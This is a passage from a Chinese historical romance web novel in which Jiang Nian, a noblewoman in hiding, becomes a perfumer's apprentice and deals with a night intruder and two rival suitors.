用罢晚饭,江念回了自家小院,打了凉水,简单擦洗了一番,把小屋床榻上的被褥摊开,胡乱应付了一夜。 这一夜江念睡得并不舒坦,因铺褥太薄,木板太硬,硌得她全身酸楚难耐,动哪儿哪儿疼。 因要出门理事,她给自己穿了一件圆领紧口素色常服,梳了一个简单的辫子,随手往脑后一绾,再从包袱中拿出一面铜镜并一个多彩小方盒,这是她托秋月从铺子里买的脂粉。 女人用棉扑将茶色的脂粉按压上脸,原本一张白腻腻的粉脸瞬间暗黄下来,然后对镜看了看,觉着还行,最后将露出来的颈脖也涂抹了。 一切准备妥当后出了院门,她告诉自己,江念,从前的家已然回不了,现在的你要拼命地在夷越活下去…… 第75章 为生计发愁 徽城是夷越第二大都城,街面同京都一样繁华,人烟热闹。 江念不仅要买生活用品,预备在街上转一转,看看有没有适合她做的营生,身上银钱所剩不多,需得找个活计,想不到有一日她会为了生计发愁。 结果转了一圈,一颗愁扰的心更加沉重,做吃食倒是稳赚不赔,可一来她没那份手艺,二来她吃不了那个苦。 做手工罢,同样的,她没那本事。 眼下她能想到的就是调制香料,从前她同王庭的香工学过一段时间,却也是个半吊子,同真正的制香师比不得。 一路看下来,越看心越凉,希望越渺茫,罢了,先不想这些,把生活器物买了才是要紧。 江念按照清单上的物件,一样一样买下来,经过一家铺子时,看了眼店外的木质水牌,上面写着两个大字,招贤,觅一名调香师。 江念想了想,将手里的器物放到店门首,进到店里。 店伙计见进来一异国女子,忙迎了上去:“这位阿姑,要买什么香?” 江念转头四顾,快速打量了一眼店内的环境,店铺装陈的奢华贵气,花团锦簇,香料售卖的区和宾客休息的区以珠帘分开,珠帘后隐有人影,应是买香的客人。 “小哥儿,我找你们掌柜的,我来应制香师。” 店伙计愣了一愣,一个异国人应制香师?江念见店伙计迟疑,没有丝毫脸红胆怯,反笑看着他,一副胸有成竹的样子。 “您稍候,我叫掌柜的来。” “劳烦小哥儿。”江念谢过。 店伙计请江念坐下,转身去了后面,不到一会儿,一位中年男子走出来。 “你要应香料师?”男人问道。 “是。”江念笑答。 中年男人看了眼面前的女子,五官倒是整齐,就是皮肤太过暗沉,此女不知是打哪来的,看着既不像梁人,也不像夷越人,多半是周边部落的。 掌柜点点头:“随我来罢。” 江念随中年男子往里走去,在一张檀木方桌边落座。 “从前在哪里高就?做了多久?会调制哪些香?”中年男子一连三问,语调听起来随意,一双眼却锐利地盯着江念。 江念也不慌,她没什么可慌的,因为她不会调香,所以她也不打算说谎,不说谎的人怎会慌呢。 “掌柜的,我从前没单独制过香,有关调香的知识只浅浅学过一些。” 中年男人没料到这女子倒是坦诚,他虽欣赏她这一点,却没法给她通融,他只是老板请来代管这家店的主事。 “你既不能制香,恕小店没法聘用,请罢。” 江念扬了扬下巴,嘴角带笑:“掌柜的先别急着拒绝,我并非来应制香师,而是来应制香学徒的。” “制香学徒?” “是,你们招制香师的月钱是多少,在我这里只需一半,况且我也并非普通的制香学徒。”江念声音清甜,不疾不徐地说着。 掌柜见此女语调清亮舒缓,不知不觉被牵动,很愿意听她说下去。 “哦?怎么个不普通?既然是学徒,还有区别不成?”掌柜故意拿她的话反问,想看看她要怎么回答。 江念指了指自己,扬唇一笑:“因为我比别人更有天赋。” 掌柜大失所望,他以为她会说什么,心里还生出一丝丝期待,原来是个夜郎自大的。 “依我看,这位阿姑还是去……” 江念不待男人把话说完,向另一个方向招了招手:“小哥儿,烦你拿几盒香膏过来。” 店伙计看向掌柜,掌柜点了点头,伙计便从柜架上取了三盒香料放到托盘里,端到二人面前。 香料盒从外看去小小的,十分精美,其中两个盒身以彩漆描着当下时兴的纹路,另一个香盒为双层,外层雕镂菱花纹,里层用来装香脂。 “可开盖么?”江念问道。 “给客人试用的,可开。”他要看看这女子能玩出什么新巧,耽误了他半晌的工夫,若不能让他满意,他就把她轰出去。 江念打开其中一盒,凝目看去,半透明膏脂状,接着放在鼻下轻晃几下,启口道:“麝香、合欢花、螺子黛、蟾酥,可是这些?” 一语毕,掌柜面色大变,直起腰板,将那香盒拿回看了一眼,没错,此香名夜合欢,以麝香二钱,合欢花三两,螺子黛一匙,蟾酥一滴而制。 “试试这个。”掌柜将那双层香盒推到江念面前,神情不再敷衍。 江念打开香盒盖,放鼻下一晃,沉吟片刻,又嗅了一道,开口道:“似是有龙涎、朱砂、雪莲……”女人锁着眉,摇了摇头,“还有一样,我没闻出来。” 掌柜朗声大笑,欢喜得手脚没处放:“还有一味无根水,不怪你闻不出来。”他可是捡到宝了,这女子嗅觉如此灵敏,当真是万万中无一例,情急之下一拍桌案“你留下!不过……因你没有制香经验,制香师月钱二两,我只能给你开一两,如何?” 江念本是抱着试一试的心态,没想到能成功,当下就应了,一两银子的月钱已经比普通人高出许多,同掌柜打过招呼,次日来上工。 回到桂花院,江念把买回的生活用品归置,再将屋院里里外外重新收拾一番,也有了个大概样子,这些事情她做起来还算顺手,除了一样,便是烧火做饭。 女人头一次入灶房,灶火生了半晌也没生起来,好不容易生起火,又不知该怎样下菜,下米。 “哟!这哪儿来的黑烟。”情姑捂着鼻子,院子烟熏缭绕。 情姑的汉子万年指了指隔壁:“你看是不是念妹子家的。” 情姑张望一眼,慌地叫了一声哎哟,急忙出了自家院子敲隔壁的院门。 好在院门没锁一推便开了,门一开,院子里哪儿哪儿都是烟。 “妹子?妹子……咳咳……”情姑叫了两声,又是一阵咳嗽。 第76章 潮湿的舒香 情姑叫了两声不见回应,心头暗道不好,觑眼中,灶房里烟正浓,便要过去。 “你别去,我去。”万年将他女人拦住,直奔灶房。 不一会儿,两个人影一前一后出来,直到出了院门才敢大口喘气。 “灶火熄了么?”情姑问她男人。 万年抹了把脸,点点头。 这烟子起得快,风一来散得也快,只是空气里仍有烟糊味。 “嫂子,你放心,若有烧坏的地方,我赔付。”江念坐在歪脖子树下的石阶上,有气无力地说着,一副生无可恋的模样。 “噗嗤——”情姑忍不住笑起来,她实在没法不笑,江念那脸上,黑一块白一块,一张小脸只有眼睛最亮,活像个逃荒来的,都这样了,还信誓旦旦地说要赔她钱。 “你先把自己的脸好好清洗一下罢,比我家小柴头还乌糟。” 就这么的,情姑留江念在自家吃了饭,又细细教她如何生火,如何烧饭。 江念向来自诩聪慧,不论看书还是看戏文,只要看过一遍,就能记下大概,可在灶房里却格外痴笨。 是夜,江念依旧打了井水抬到屋里擦洗身子,白日忙碌了一天,身上难免有汗味,再加上烟熏火燎了一阵,很是黏腻难受。 夷越白日暄暖,早晚还是有些寒凉,再加上井水凉浸,激得皮肤起了一层细小的疙瘩。 盥沐毕,她换上一套干净宽松的中长衫和撒脚裤,将睡房收拾一番,再支开窗户敞湿气。 女人嘴里哼着小曲儿,将小澡盆端到院外,用力一泼,然后返回院中,就势闩上院门往屋里走去,才走几步,“笃笃——”院门被敲响。 江念心里一突,莫名有些紧张,紧张中又有些说不上来的期盼,她也不知自己在期盼什么,也许她知道,只是不想承认罢了。 “谁?”女人的声音并不舒展。 院门外安静了一会儿,响起一个不算陌生的声音:“阿念,是我。” 期盼的心有一些回落,江念前去开院门,门开处,正是刚回不久的安努尔。 “我才回,听家中下人说你搬出来了。” 两人之间只隔一道门槛,他能闻到她身上潮湿的舒香,那气息从她温热的身体散发,透过干爽的薄棉衫,混着未干的水珠,一团又一团。 江念还没谢他替自己寻这样一方小院,侧过身:“安大哥,你进来坐。” 安努尔颔首迈进院中,江念不将院门关闭,就那么大大地敞着,又回到屋里端了茶出来,另点了几盏灯让小院更通亮。 “安大哥,你坐呀,我给你倒茶。”江念将托盘放在院中的四方小桌上。 安努尔落座于竹椅上,不着痕迹地四顾打量一眼,笑道:“住着可还好?” 江念回笑道:“再没有不好的了。” “我让你缓几日,待我回来让人把院子好好收拾一番,你再来住,你就等不及了。”安努尔拿起茶杯,轻呷了一口。 江念可不会说,我忙不迭地搬出来是因为差点死在你这狠人手上,换谁能住着安心。 “早几日晚几日的都一样,我自己能收捡得过来。”江念坐到男人的对面。 安努尔点点头,眼微微一眯:“真决定了?就这么孤身一人在外过活?夷越虽然对女人规束不那么严苛,可女子独身在外还是不易的,依我看,阿念不如还是回……” 江念赶紧打住他的话头,再让他说下去,大有让她回安宅的趋势。 “我找了一份活计,生计方面不愁了。” 安努尔一听倒是有几分吃惊:“什么营生?莫要被人诓骗了。” 江念抿着嘴儿笑,想了想说道:“现下还不能说,待事情稳妥再告诉你。” 她还不想说,主要担心自己胜任不了,没的让人看笑话。 安努尔端起茶盏,杯沿后是女子明艳的笑,似是被感染,他的唇角也带上了笑。 “既是这样,那我也不勉强你,对了,给你带了一个人来。”安努尔侧头朝外叫了一声,“进来。” 一个人影走进院中,走到江念跟前,施礼道:“婢子过来照顾阿姑。” 来人长挑身材,正是曾在她身边伺候过的秋月。 “安大哥,这……我如今用不上丫鬟……”江念说道,不是用不上,而是用不起。 安努尔笑道:“你留下她,她在这里也是做活,在安宅也是做活,我家中不少她一个丫头,到你这里可帮你烧水做饭,你身边少不得需要一个人伺候。” 江念还待再拒,男人却道:“不必推辞,时候不早了,我回了。” 说罢起身离开,江念将他送出院门。 有了秋月,江念再也不用寒凉的井水擦洗身子,一回小院就有现成的热水,秋月知她喜洁还特意到街市寻了一个半人高的浴桶,专门用来给她沐身。 次日,江念去了香料铺子,掌柜的让一名唤老巴的调香老师傅带她。 做人徒弟的,说白了,就是给人当孙子,那些戏文里的师父认了一个极有天赋的徒弟,从而倾囊相授的事是不存在的。 她每每向老巴询问有关调香知识时,老巴要么闭口不答,要么顾左右而言他,就是隔靴搔痒,不说关要处。 江念算是看明白了,所幸不再开口发问,只默默从旁观看,遇到不懂的就自己琢磨,再不然拿一些废料自己实际操作,如此一来,反倒让她学到的更多,更深刻。 再加上她是有些基础的,像沉香需“理香”剔除杂质,檀香需陈化去燥气这些她都明了,还有“君臣佐使”她亦通晓。 之前在王庭,只要一清闲下来,她便向王庭的香工讨教,从中收获不少。 王庭制香的原料又多,在这一点上呼延吉倒还好,从不拘着她,晚间她给他读几页书,就甩手不读了,转而去调玩香料,他看见了也不说什么,拿起书自己看。 不过他会蹙眉问她:“你学这劳什子做什么?” 她不答话,只是笑,谁知道呢,她就是喜欢,不论人还是物,她的喜欢向来莫名其妙,不需要任何理由。 渐渐的,江念可单独调制一些不同质地的简易香料,这并非什么难事,如今市面上流通的香品就那几样,什么龙涎香、合欢香、帐中香,左不过这些被世人熟知的香。 闲暇之时,或在店中或回小院,她会另花时间研制香品,一心想要调制一款独一无二的香品。 彼边…… 安宅外院的书房内,火奴和山奴两人垂手侍立于书桌边,大气不敢出,额上沁出豆大的汗珠,周边的空气比往日更沉。 男人架坐于桌后,套着戒环的手,不耐烦地叩着桌面,一下又一下。 他虽派了一个丫头在她身边看顾,却起不到太大作用,况她又寻了一个营生,如此一来,只怕更不好掌控,看来得上点手段了…… 第77章 枕上风月 安努尔架坐于书桌后,身体靠着椅背,手指不耐烦地叩着桌案。 当初那女子央涣他,替她在外寻一处小屋,他轻易应了下来,料准她一异国女子在徽城难以生存,用不了多久便会找上他,诉苦困境,他可再次施舍恩情,让她回安宅。 如此一来,既抵消了她的顾虑又让她看清现实。 这女子之于他来说,谈不上多喜爱,那夜她差一点死在他的手里,他后来对她的解释是,以为房中进了贼人,这才下了狠手。 事实并非如此,他知道沐房藏匿着一个女人,这女人并非什么贼人,而是他母亲安排的。 他一清二楚,对他来说贼不贼人的无所谓,最后都是死人。 直到他锢住女人的脚腕,手下的柔嫩让他心底起了一丝异样,他突然起了性,松开了她,然后他看见了她的样子,头脸湿漉漉地挂着水,缩靠在墙角,红着眼眶警惕地盯着他。 这一瞬他改口了,难得花心思撒了谎,带着一点轻哄的意味,好让她对他放下警惕。 安努尔喜欢看她恨瞪着眼的样子,好像下一刻就要张牙舞爪地扑咬他,她越这样,他越想逗弄, 他起了闲闲的兴趣,这么些年了,死水般的生活终于有了波动。 好不容易出现这么个有趣的小东西,他不想她离他太远。 山奴见自家大爷有烦心事,趁机开口道:“爷,石儿爷才差人来,说他们去了香荷院,邀您过去呢。” 这香荷院是徽城第一青楼,里面的伶人无论才艺还是样貌皆是一流。 安努尔扫开心头烦绪,重新更衣,带着两个小厮往香荷院去了,还未走进包厢,远远便听到房内传来聒耳的歌舞声和男男女女的嬉闹声。 安努尔刚一落座,两个清俊小倌儿围了来,其中一人时年十六,面貌净柔,是安努尔在香荷院蓄养的伶人,对外不接客,只有安努尔来了才露面。 那小倌给安努尔满上酒,双手递到他的嘴边,喂于他喝。 男人没像往常那样,就着他的双手喝下杯中酒,而是往后微仰,示意小倌儿将酒放下,小倌儿知道这位爷心情必是不太好,于是乖乖将酒放于案上,老老实实伺候。 “兄长这一向在做什么?叫了几次,几次都不赏脸。”石儿禄说道。 “倒没什么,才从外城归来,在家中休养了一段时日。”安努尔拿起酒盏仰头灌下。 这时,华兴楼的少东家,松赞,过来敬酒,今儿本是他置办的酒席,因他有一桩买卖求于安努尔,怕自己请不出人,便让石儿禄出面,好在人是请来了,就是心情不大畅快的样子。 松赞先是看了一眼安努尔,接着又看了眼旁边的石儿禄,石儿禄回了他一个眼色,松赞从小倌儿手里接过酒壶,亲自给安努尔满上一盏酒,又替自己满上。 “兄长知道我的,不想承继我老子的酒楼,也想自己搞点营生,前些时候从南边进了些小玩意儿,可否搭在你的铺子里卖?” 安努尔问道:“进的什么?” “都是女人用的一些胭脂水粉。” 安努尔想了想,点头道:“倒是有几家铺子可以放,你那货品如何?” 松赞一听有戏,拍着胸脯道:“别的不敢说,货绝对是顶级好货,连几个上姓之家的女眷也用这个,我花了好大的工夫才从京都那边拿来的。”男人继续给安努尔斟酒,“这样顶好的货品放到普通店铺卖不上价儿,这才想着借兄长的铺子出售。” 安家的店铺在徽城名气大,店中物样的价格也高。 “兄长放心,卖出的利润我……” 松赞话未说完,就被安努尔截断:“不必同我说,你差人到南街的四季轩,找那里的管事,同他谈妥便可,就说此事我已知晓。” 交情归交情,生意归生意。 松赞巴不得一声儿,连连应下,于是又朝安努尔敬酒,安努尔心中本就搁了事,有酒便喝,喝到最后,有了酒意。 “我见兄长似有心事,不如说来咱们开解开解。”松赞殷勤道。 安努尔思索片刻,他过了近十年的荒唐生活,虽然只是面上同那些小倌儿们胡闹厮混,实际并未有过枕上风月,但到底有些不像样。 这些浪名,他本不在意,男人嘛,哪怕再滥情,只要其他方面成功,别人只会论他风流,说不得什么。 所以他并不在意风月场上的花名儿,然而现在却有些不痛不痒的难受。 当然了,他不觉得这种难言的劲儿因那女人而起,只不过是想过回正常的生活,恰巧这女人出现了。 一边的石儿禄见安努尔眼中愁思不明,眉锁难解,不防备地问了一声儿:“兄长不会是为情所困罢?” 这一问连他自己也觉着不太可能,却见安努尔回看向他,不置一词。 在场几人无不惊异道:“真是为情所困?哪家的?!” 前些时候不是还为安老夫人给他安排房中人而生恼么? 石儿禄脑中一个光闪,问道:“不会就是才安排的那位罢?” 此时众人已有了七八分酒意,齐齐看向安努尔。 安努尔摆了摆手,哪肯轻易说自己的私事。 他们这些人心底对安努尔还是敬畏的,不敢闹太过,见他不愿说,便散开了,继续观赏歌舞。 男人又吃了几盏酒,同几人打过招呼,起身离开,几人留他不住。 出了香荷院,此时已是深更,街上人烟寂静,山奴和火奴牵马从暗影里出来。男人翻身上马,火奴在前面牵马,山奴随在马侧。 安努尔揉了揉额,呼出酒气,勒停马:“你过来,我吩咐一件事情,速速去办。” 山奴忙将耳朵递过去,听了主人的吩咐,应诺离开。 “爷,咱们现在回去还是……”火奴回头问道。 男人眼中哪还有醉意,以鞭指向一个方向:“去桂花巷……” 江念肩上笼着一件长衫,倚靠在床头,屋里只点着一根细烛,散着黄黯黯的光,临窗的桂叶蘸着月色低映在窗纱上。 从她失踪到如今已过去了大半个月,呼延吉就算在定州,应该也收到她失踪的消息了,不知道他在得知后是什么反应,应该会焦急罢。 江念摇了摇头,觉得自己过虑了,她在他眼中就是个笑话。 至于给江家报仇,就算没有她,呼延吉攻打大梁也是迟早的事,有她没她都是一样,她在这中间没有任何存在的价值。 正想着,院子里突然传来“砰——”的一声响,声音来得太过突然,吓得她霍地坐起,掀帘朝外喊了一声:“谁?!”没有回音,屏息侧耳去听,只有一片安静。 是不是院子里的东西被风吹倒了,女人重系衣衫,下榻趿鞋,擎着细烛走到窗前,将纱窗启出一条缝往外张望,看了一圈,原来是院中晾晒香料的架子倒了。 于是推开门,走到院中的木架边,将细烛放下,双手支扶木架,就在她弯腰的一瞬,影子旁边又生出一个影儿,有头有身子,那影儿颤颤抖着。 江念就那么保持着佝偻的姿势,浑身窜冷汗,她的鼻尖嗅到陌生的气息,带着酸臭的汗液味,在她往前窜出的同时回过头,倒吸一口凉气,随之叫喊出声。 那里站着一个男人,红着眼看着她,露出一脸的淫邪,男人非但没被她的叫声吓跑,反倒快速向她逼近。 直到万年的声音从隔壁传来:“妹子,没事罢?” 江念再看时,男人破门逃走了。 “没事,万大哥。”嘴里虽这样说着,仍心有余悸。 她在院中站了一会儿,忽觉身上有些冷,刚准备转身回屋,“笃,笃——”院门又被敲响。 江念心里一紧,呼吸变得有些困难,可也就是一瞬,她的眼睛在院中快速一扫,走到香料架旁,抄起一根圆木棍,蹑着步子走到院门后,一手擎着木棍,一手缓缓抽开门闩。 院门从外被推开,门开处,闪进一个人影儿,江念看准时候,铆足力气,双手持棍朝那人兜头敲下…… 第78章 浅浅风情眼 那人抬臂去挡,“嘭——”木棍挥打在骨肉之上,接着木棍断成两截掉落,那人一个转身,江念惊呼出声。 “安阿兄?” 安努尔笑了笑:“阿念就这样不待见我?” 江念忙将他迎至院中,火奴和山奴两个小厮则立在门首。 “安阿兄有没有伤到?”江念瞥了眼地上断成两截的木棍,心中过意不去。 男人挑了挑眉毛,笑道:“我要说没伤到,你转头就把今晚这一棍给忘了,为了让你记得久一点,我还是说伤到比较好。” “噗嗤——”江念撑不住,吃吃笑起来。 安努尔认真看着她,缓缓说道:“这样算扯平了,不生气了罢?” “什么?”江念才一问出口就明白了他的意思,是说上次他将她摁在水里的事,“何曾生过气,只有感激你呢。” “就是太客气了,太生分了。” 江念微笑着,闻到他身上的酒气,让他稍坐,自己起身去屋里端出茶托。 “安阿兄这个时候来,没有热茶了,将就着喝点凉茶。” “我给你的丫头呢,怎么不出来伺候?” “她已睡下了,白日我上工,她把家里好一番收拾,这院子里缺短什么都是她操心置办的,来来回回没歇过脚,夜里让她好好休息。” 安努尔笑看着她,忽然又问:“怎么抱着棍子躲在门后,见人就打,是不是出了什么事?” 江念便把刚才闹贼的事说了。 男人沉吟半晌,说道:“那人没得逞,又知你这里的位置,定是将你的情况摸清楚了,知道这家无男人照看,只怕以后还会来,依我看,不如你随我回安宅。” 江念想了想,摇头道:“那也不是办法,我今晚没有防备,待我准备准备,再碰上,指不定谁怕谁。” 安努尔一怔,在女人面上端相,问道:“你……不害怕?” “谈不上怕,就是吓到了,我又不惧他,只是那贼人可恶,出现得太突然,我没防备受了些惊。”江念抿下一口凉茶,“待我准备准备,他若再来,让他有进无退。” 女人嘴里说着狠话,腔调中透着俏蛮,兴是她的眼睛太过澈亮,安努尔的心毫无防备地一跳,缓缓敛下眼皮。 这女人像一朵向阳花,迎着光,向着太阳。 明明那么弱小的一人儿,却能外放大力量,就是很自然地让人感受到,这类人是中心、是发光体,让人忍不住去接近。 待他转眼看她时,她正抿嘴笑看着他,一双眼弯成新月。 “怎么了?”安努尔问道。 江念正了面色,说道:“安阿兄,先是我心底对你多少有些埋怨,现在我理解了,从前对你有所误解。” 安努尔愣了一下,莫名地紧张,生怕她错看他,听信了外面的传言:“误解什么了?” “就是你将我当成贼人,摁我在水里,你没做错。”江念确实听了一些有关安努尔的传言,多年来安老夫人为喜好男风的儿子操碎了心,在他不知情的情况下,往他房中塞人。 她又躲在沐室那种隐蔽的地方,非奸即盗。 安努尔张了张嘴,第一次觉得自己口舌夯拙,想要替自己辩解却不知从何处辩起:“夜深了,你休息罢。” 不待江念相送,安努尔已大步出了院门,走得很是匆忙,这就叫自作孽不可活罢,他的博浪之名在外,不知道她会怎么想? 次日,秋月伺候江念起身,见她眼下有些发青,关心道:“阿姑昨夜没睡好?” 江念觉得有必要提醒一下她,便将昨夜的事情说了出来。 秋月一听,眼中露出惊恐:“这可怎么办,要不报官?” “报官没用,那人已经跑了,光凭我们嘴巴说,官府只怕难有作为,那些个小吏也不可能专守在咱们家。” 只有犯下大罪的人,官府才会下海捕文书,这人虽然夜闯私宅,她却没实证。 “这可如何是好?”秋月问道。 “放心,我已有计较。” 吃罢早饭,江念去了香料铺子,因她如今在铺子做活,每日迎来送往的都是官商家的女眷,她自己的外貌不能太砢碜,便不再用脂粉糊脸。 因昨夜家中进贼,江念思索了一夜,她一个女人真要同莽汉对上,指定敌不过,于是想了一个办法,参照旧书里的法子,试着调制迷香粉。 正在捣弄时,店伙计急走进来,说道:“阿念,店里来了客人,你帮我端茶上去,我去后面请掌柜的来。” “行,你去罢,我来招呼。”江念放下手里的香料,重新净手。 松赞昨夜得了安努尔的话,今日便找了来,正巧石儿禄无事,叫上他一起,一来石儿禄同安努尔走得近,二来石儿禄能言善道。 两人坐下没一会儿,有人上茶来,石儿禄一抬眼就呆愣在那里,心摇目荡不止。 这女人……不会错的!他儿时见过的那位贵女,不知在他梦里出现过多少回。 “二位郎君请用茶。”江念将茶摆好,收起茶托。 松赞见石儿禄面色有异,循着他的目光看去,这才注意到江念,当下也是有些出乎意料。 “还看!人已经走了。”松赞说道。 石儿禄像是没听见似的,把脖子探的老长,松赞无奈地摇了摇头。 不一会儿店掌柜来了,因是东家的朋友又是华兴楼的少东家,所以格外客气。 然后两人就铺放胭脂水粉的事宜相互商量。 石儿禄不合时宜地插进一句话:“掌柜的,那个梁女是你这里的店工?” 掌柜看向石儿禄,这石儿家是徽城最大的珠宝世家,家底比他们安家有过之而无不及,石儿禄又是家中最受宠的小郎,简直就是金银窝里长大的。 豪逞的恣性一点不输他家大爷。 突然见他凭空打听阿念,知道这是看中了,可到他心上了,替阿念生出一份可惜。 阿念在调香上很有灵性天赋,也有自己的想法,若被这位爷瞧上,转头向他们东家开口要人,收用房中,这……唉! 掌柜只得回答:“是我们店里的香工。” 一语毕,石儿禄已迈步往里间走去。 江念正垂颈专注地对照旧书调制迷香,总觉着有一味药料用量不太对,尽管她是按书上配制。 思索间,余光捕捉到一撇暗影,惊觉之下抬起头,就见一男子倚在屏风上,一霎不霎地看着她。 那男人高长个头,编织了满头小辫,散在脑后,贯耳配珰,左耳垂挂银月环,一双带着浅浅笑意的风情眼。 “你叫什么名字?”石儿禄问道。 江念不去理他,背过身,继续翻看书上的文字,见身后没了声音,以为人走了,回过身才发现,那男人双手环臂,仍倚在那里。 “我见过你,我知道你从前是梁国极有身份的贵女,对不对?” 江念别过脸,淡淡说道:“这位郎君认错人了。” 男人轻笑几声,不去反驳。 正巧此时松赞的声音远远叫了一声,江念趁势出了屏风,去了后院。 “把你那嘴角收一收。”松赞顺着他的眼看去,早已看不到人影儿。 石儿禄心情十分好,语调轻快:“谈好了?” 松赞点点头:“明儿直接让伙计来铺货。” “这是好事啊!今儿我做东,在华兴楼置一桌酒,把兄长也叫上,再另外叫几人,给你道贺。” 松赞气笑,这是哪儿跟哪儿,他的货品挂在兄长的铺子售卖,怎么还叫兄长给他道贺,依他看,怕是另有目的。 是夜,华兴楼灯火辉煌,夷越没有宵禁这一说,徽城的夜生活同京都一样多彩繁华。 石儿禄端酒坐到安努尔身边,先是敬了一杯酒:“大哥,小弟有一心头好,惦记了许多年,今儿厚着脸皮向你讨一讨。” 安努尔睨了他一眼,说道:“有什么是我能弄来,你弄不来的,还巴巴求到我这里,你石儿家都快够上世族了,就是相较那些世族,你家也不比他们差什么,我倒是稀奇你求我什么。” 这时一个黑皮瘦脸的锦衣男子走了过来,此人叫羯田,是徽城府令家的公子,这府令便是一城之长,掌城中赋税、司法、治安。 男人屈腿靠在案几上,笑道:“我也稀奇你求安阿兄什么事情,说来咱们听一听。” 羯田一问,石儿禄反倒不愿开口了,倒不是怕人取笑,而是不愿太多人知晓那梁女,只想私心藏起来。 安努尔见他不说话,以为他不喜羯田,也不去追问。 羯田喝了些酒,没注意到异样,坐到二人中间,从侍人手里接过酒,自顾自喝起来,喝了几杯,说道:“听我父亲说,京都好像出了什么事,连禁卫也出动了,好似丢了什么人。” 石儿禄有些看不惯羯田,仗着自家父亲是官身,平日跟他们这些人在一起,自视甚高,什么玩意儿! “丢了什么人?”石儿禄轻嗤一声。 羯田双颊酡红,摆了摆手:“谁知道呢。” “伯父没收到王庭的文书?”安努尔问道。 “就这里奇怪呢,又无邸报,又无任何诏令,依我猜测……”羯田手往上指了指,“多半是上面那位不在王庭,偏这个时候出的乱子。”说着又嘟囔了几句,一头歪在旁边睡了过去。 石儿禄见羯田醉倒,满眼不屑。 安努尔亦摇了摇头:“你刚才要说什么?难得你同我开一次口,我没有不应的。” “小弟向兄长讨要一个人……” 第79章 抱得美人归 石儿禄听安努尔这样说,心中欢喜,开口道:“今儿陪松赞去你那香料铺子,瞧上你那里的一个女香工。” 安努尔看了眼石儿禄:“就这?” 石儿禄点点头。 “你若有意,自己使出手段来,告诉我做甚,那女伙计又非卖身到我店中,我还能把她转让给你不成?” 四季轩那个香料店他一向不大管,因利润不丰,便交给店掌柜打理。 “到底是兄长店中的人,总要同你招呼一声。” “行了,我知晓了。”安努尔见他欢从额角出,喜向腮边生,倒有些好奇,不曾见他对女人这般用心,“你这是打算换换口味,吃惯了细粮,要吃粗糠?一个女伙计也值得你这样。” 石儿禄虚空点了点手,一边伺候的侍女立时呈来果盘,男人捡了颗青果儿,丢到嘴里,眯起眼,说道:“兄长可还记得上次我说的那话,儿时我随仆从到梁国,偶然间在街上瞥见一极美的梁女子……” 男人不再往下说了,只笑看着安努尔:“你这天下哪有这般巧的事情,这便是我和她的缘分。” 梁女?安努尔听罢,端酒杯的手猛地一僵,试探着问道:“叫什么名儿?” “这个……我问了,她没说……” 徽城里居住的梁国人不算多,又是女子,还是貌美的女子,这一样样排除下来…… 她说她找了一份活计,安努尔忽然想到她院中有一个木架,当时没太注意,那上面似是晾晒的香料。 “不可!” 石儿禄嘴角仍挂着笑:“什么不可?” “她不行。”安努尔正色说道。 石儿禄回过意来,眉眼跟着变冷,回看向安努尔:“兄长同我玩笑罢?” 安努尔不言语,一双眼又利又沉地看向石儿禄。 石儿禄恨笑两声,挥袖把桌面一掀,站起身,又一脚踢翻旁边的案几,嘴里不干不净地骂了几声,甩袖走了,桌上的酒具还有果馔洒落一地。 醉卧于地的羯田被惊醒,惺忪着醉眼,不知发生了何事,再一看,安努尔一脸铁青地坐在那里,显然气到了极点。 在场之人也不敢出声,连歌舞都歇了,一个安努尔,一个石儿禄,这两人关系一向好,在徽城势头也大,怎的今日不对盘。 …… 江念的迷香制好了,分了一包给秋月,告诉她若是碰上歹人,只需掩住鼻息,对外一吹,歹人一旦吸入不出十息便倒。 “若是来了一阵风,没有吹向歹人,而是吹向自己,怎么办?”秋月问道。 江念咽下嘴里的早饭,说道:“所以让你掩住鼻息,就是这个意思。”说着以帕拭了拭嘴角,接过秋月递来的热茶,慢慢喝了两口,又交代了几句,出了院子,去往香料铺。 刚进铺子,就见掌柜的和铺子里的几个伙计垂手侍立在客间外,心下奇怪,正待发问,斜光中见珠帘内坐了一人,正在翻看账目,不是安努尔却又是谁。 “安兄长?”江念有些意外。 安努尔招了招手,让她进去,江念走进珠帘后的客间,看了眼桌面上的账本。 “安兄长是这里的东家?” 安努尔微笑着点头:“所以你之前说找到了活计,是这个么?” 江念有些不好意思,这便是默认了。 安努尔心情甚好,正待说些什么,一人撩开珠帘走了进来。 来人一身宝绿环带纹交领缺跨衫,脚踏团花锦靴,不再是一头小辫,披下来的鬈发中挑出几缕,编成几股麻花,再用银箍束着歪侧于一边,不羁且随性。 “兄长今日也来了?”石儿禄嘴角挂着笑,不待人请,自顾自坐下,身子往后一靠,又看向江念,那语调就变了,“我知道你叫什么了,阿念,对不对?” 江念记得这人,很难不记得,毫逞的恣性中透着狂意,和那个人有一点点重影。 石儿禄瞥了安努尔一眼,再次看向江念:“你看,我同你们东家是好友呢,你不该不理我,好歹同我说两句话儿,这才是待客之道。” 江念觉着这人有趣,掩嘴儿笑起来,这一笑,如桃花上脸,淹然百媚,晃了两人的眼。 石儿禄趁势道:“明日我带你去郊外玩,你一定没见识过咱们夷越的原野河流,同你们大梁可不一样。” “怎么不一样?”江念问道。 “这个我可描述不出来,只有亲眼见了才知晓。” 江念看了一眼安努尔,虽然她心底很好奇,可这事她说了不算,眼下她只是一个给人做活的店工,另一方面,她以什么身份去呢,总归说来,不太恰合。 “想去么?”安努尔自然看出女人脸上的希图。 “还是不去了,店里的事情没忙完。”江念婉辞。 “不差这一日半日的。”安努尔话说到这里,出游一事差不多就定下来了。 次日一大早,空气里还萦绕着如流的雾气,石儿禄叫上松赞,两人打前骑着花鬃马,身后跟了两辆华丽的马车,两驾马车里分别坐着松赞的两房妻室,马车边又簇拥着一众豪奴并美婢。 紧紧凑凑地往四季轩行去。 快到四季轩门前之时,松赞问道:“你那日怎么回事?恼着脸就走了?” 石儿禄似是没听见一般,一双眼不知在张望什么。 “同你说话呢!”松赞扒了他一下,“还有……你跟兄长怎么回事?” 正说着,就见一对男女一前一后从四季轩店门走出来,刚才还面色淡淡的石儿禄一见那女子,脸上立马露出灿笑,翻身下马,把往日的亲兄友弟丢到一边。 松赞见了,暗骂一声,也不知是谁从前说兄弟如手足,女人如衣服。 昨日,石儿禄提议出城游玩,安努尔见江念面露向往,于是决定休店一日,从宅中调了两辆马车,整个四季轩上到掌柜下到店伙计,乘车同往,好让她没那么多顾虑。 